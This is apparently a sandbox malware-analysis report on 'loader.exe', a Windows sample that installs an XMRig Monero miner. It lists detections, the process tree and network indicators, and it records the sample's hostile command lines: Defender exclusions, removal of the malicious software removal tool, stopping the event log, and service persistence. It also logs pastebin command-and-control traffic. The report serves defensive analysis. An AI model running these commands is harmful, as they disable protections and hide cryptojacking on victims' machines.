Edit tour

Windows Analysis Report
loader.exe

Overview

General Information

Sample name:	loader.exe
Analysis ID:	1537414
MD5:	cdabdc02374167ccd4938e9fe8c31789
SHA1:	59028bd5da928a0aadf157c39ac2c9281dcc881d
SHA256:	9161be21746469b9b3c653b81d7ca6639927e89ece780a4682a2059ba30e2793
Tags:	exeuser-aachum
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Suricata IDS alerts for network traffic

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Connects to a pastebin service (likely for C&C)

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Found strings related to Crypto-Mining

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

loader.exe (PID: 3228 cmdline: "C:\Users\user\Desktop\loader.exe" MD5: CDABDC02374167CCD4938E9FE8C31789)

powershell.exe (PID: 5020 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6096 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7200 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 3864 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4476 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1780 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6820 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 6952 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

sc.exe (PID: 2488 cmdline: C:\Windows\system32\sc.exe delete "NUTGFFPE" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7220 cmdline: C:\Windows\system32\sc.exe create "NUTGFFPE" binpath= "C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7272 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7280 cmdline: C:\Windows\system32\sc.exe start "NUTGFFPE" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wepulfrfkvoz.exe (PID: 7348 cmdline: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe MD5: CDABDC02374167CCD4938E9FE8C31789)

powershell.exe (PID: 7372 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7556 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7832 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 7564 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7580 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7596 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7620 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7648 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1084 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1200 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1252 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1296 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1408 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1488 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1496 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dialer.exe (PID: 7712 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 7784 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
43.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
43.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
43.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
43.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\loader.exe", ParentImage: C:\Users\user\Desktop\loader.exe, ParentProcessId: 3228, ParentProcessName: loader.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 3864, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\loader.exe", ParentImage: C:\Users\user\Desktop\loader.exe, ParentProcessId: 3228, ParentProcessName: loader.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5020, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 6952, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "NUTGFFPE" binpath= "C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "NUTGFFPE" binpath= "C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\loader.exe", ParentImage: C:\Users\user\Desktop\loader.exe, ParentProcessId: 3228, ParentProcessName: loader.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "NUTGFFPE" binpath= "C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe" start= "auto", ProcessId: 7220, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\loader.exe", ParentImage: C:\Users\user\Desktop\loader.exe, ParentProcessId: 3228, ParentProcessName: loader.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5020, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\loader.exe", ParentImage: C:\Users\user\Desktop\loader.exe, ParentProcessId: 3228, ParentProcessName: loader.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7272, ProcessName: sc.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T23:09:19.985310+0200	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.4	53440	1.1.1.1	53	UDP

ET MALWARE SilentCryptoMiner Agent Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T23:09:21.900075+0200	2054247	1	A Network Trojan was detected	104.20.4.235	443	192.168.2.4	49735	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T23:09:21.281682+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.4	49736	142.202.242.43	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: loader.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 43.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY

Found strings related to Crypto-Mining

Source: dialer.exe

String found in binary or memory: cryptonight-monerov7

Source: loader.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: wepulfrfkvoz.exe, 00000019.00000003.1877581425.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC64DCE0 FindFirstFileExW,	20_2_00000225DC64DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6ADCE0 FindFirstFileExW,	20_2_00000225DC6ADCE0
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AEDCE0 FindFirstFileExW,	26_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A66130DCE0 FindFirstFileExW,	29_2_000002A66130DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDFDCE0 FindFirstFileExW,	30_2_000002BAAEDFDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879CDCE0 FindFirstFileExW,	45_2_0000026A879CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537ADCE0 FindFirstFileExW,	46_2_00000179537ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D56DCE0 FindFirstFileExW,	47_2_000002295D56DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E6DCE0 FindFirstFileExW,	50_2_0000025306E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3CDCE0 FindFirstFileExW,	51_2_000001845B3CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD4DCE0 FindFirstFileExW,	53_2_000001ADECD4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D55907DCE0 FindFirstFileExW,	54_2_000001D55907DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EADCE0 FindFirstFileExW,	55_2_00000241A9EADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD7319DCE0 FindFirstFileExW,	56_2_000001CD7319DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E89DCE0 FindFirstFileExW,	57_2_000002824E89DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B3DCE0 FindFirstFileExW,	58_2_0000021B47B3DCE0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2054247 - Severity 1 - ET MALWARE SilentCryptoMiner Agent Config Inbound : 104.20.4.235:443 -> 192.168.2.4:49735

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 142.202.242.43 142.202.242.43

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:53440 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49736 -> 142.202.242.43:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /raw/f2EfCEn0 HTTP/1.1Accept: */*Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6

Source: global traffic	DNS traffic detected: DNS query: pool.hashvault.pro
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877581425.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877581425.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877581425.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877581425.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

System Summary

Malicious sample detected (through community Yara rule)

Source: 43.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 43.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 43.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

